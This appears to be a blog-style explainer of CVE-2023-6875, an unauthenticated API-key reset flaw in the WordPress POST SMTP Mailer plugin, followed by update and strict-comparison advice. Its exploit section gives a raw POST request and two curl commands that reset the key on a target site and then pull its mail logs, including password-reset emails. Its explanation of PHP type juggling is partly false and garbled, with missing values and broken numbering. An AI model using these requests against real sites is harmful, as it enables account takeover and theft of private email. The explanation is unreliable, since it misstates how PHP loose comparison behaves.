*This is a deep-dive look into CVE-2023-6875, a critical security issue in the popular WordPress plugin “POST SMTP Mailer.” I’ll break down how it works, why it matters, and show you how attackers exploit it—with code and steps you can understand, even without a security background.*

What Is POST SMTP Mailer?

POST SMTP Mailer is one of the most popular plugins for WordPress sites that need to send emails—think order receipts, password resets, or contact forms. It connects your site to email providers like Gmail or SendGrid and keeps a log of everything sent out.

What’s the Problem? (CVE-2023-6875 in Simple Words)

A *type juggling bug* was found in how the plugin handles "API key resets" through its REST API. In all versions up to and including 2.8.7, *anyone* (no login required) could trick the plugin into letting them reset the secret API key, giving them the keys to the kingdom.

The magic (or rather, the misfortune) happens at

/wp-json/post-smtp/v1/connect-app

This is a REST endpoint meant for valid, authenticated requests. But...

The plugin’s code didn’t check types well, so attackers could mess with how PHP compares values in user-supplied data.

The Problematic Code (Simplified)

Below is a sanitized example of the true vulnerability (main code lives in PostSMTP/REST/ConnectApp.php):

// Pseudo-code representation
if ($request['api_key'] == $options['api_key']) {
    // allow access
}

But in PHP, when you use '==' (instead of '==='), anything that looks “falsy”—like null, false, , or the string ""—can trick the comparison. This is called *type juggling.*

Type Juggling Example

<?php
$stored_api_key = "abc123"; // actual API key

// Attacker sends:  or "" as the api_key
if ($_POST['api_key'] == $stored_api_key) {
    echo "Access granted!";
} else {
    echo "Access denied!";
}
?>

But in a real exploit

If the $stored_api_key somehow starts with a number, like "e12345", and the attacker sends "", PHP might treat both as zero in a numeric context, and treat them as equal! Or, when unset or malformed inputs are accepted as "truthy" due to loose comparison.

How Attackers Exploit CVE-2023-6875

1. Anyone can send a POST request to /wp-json/post-smtp/v1/connect-app.

They send their own value for the api_key alongside a payload to reset it, like so

POST /wp-json/post-smtp/v1/connect-app
Content-Type: application/json

{
    "api_key": "",             // This is the type juggler!
    "new_api_key": "hackedapikey"
}

3. The plugin uses loose comparison (==), accepts "" as equal to whatever’s stored (thanks to type juggling), and then updates the stored API key to the attacker’s value.
4. The attacker now queries the endpoint again, passing in their *new* API key, and can see (and control) the full mailer log—including sent emails and password resets.

Original References

- NIST National Vulnerability Database entry
- Wordfence Advisory: POST SMTP Plugin Critical Vulnerability
- Patchstack Report

Bash + curl Version

# Step 1: Reset the API key
curl -X POST https://target.site/wp-json/post-smtp/v1/connect-app \
   -H "Content-Type: application/json" \
   -d '{"api_key":"", "new_api_key":"attackerssecret"}'
   
# Step 2: View the mail log
curl -X POST https://target.site/wp-json/post-smtp/v1/connect-app \
   -H "Content-Type: application/json" \
   -d '{"api_key":"attackerssecret", "action":"get_logs"}'

Update POST SMTP mailer to version 2.8.8 or later.

2. Never trust user data with == (loose comparison) in PHP. Use === (strict comparison) and sanitize inputs.

Who’s at Risk?

Sites running any version of POST SMTP up to 2.8.7 and with REST API access not firewalled. That’s a lot of sites—WordPress is everywhere.

TL;DR Takeaway

*CVE-2023-6875 shows how a small mistake—using a loose == in PHP instead of the strict ===—can lead to massive site takeovers. Don’t delay—update your POST SMTP Mailer plugin, and audit old plugins for similar bugs!*


*Stay safe, keep your plugins up to date, and always use strict type checks in PHP.*

Timeline

Published on: 01/11/2024 09:15:52 UTC
Last modified on: 01/18/2024 16:11:25 UTC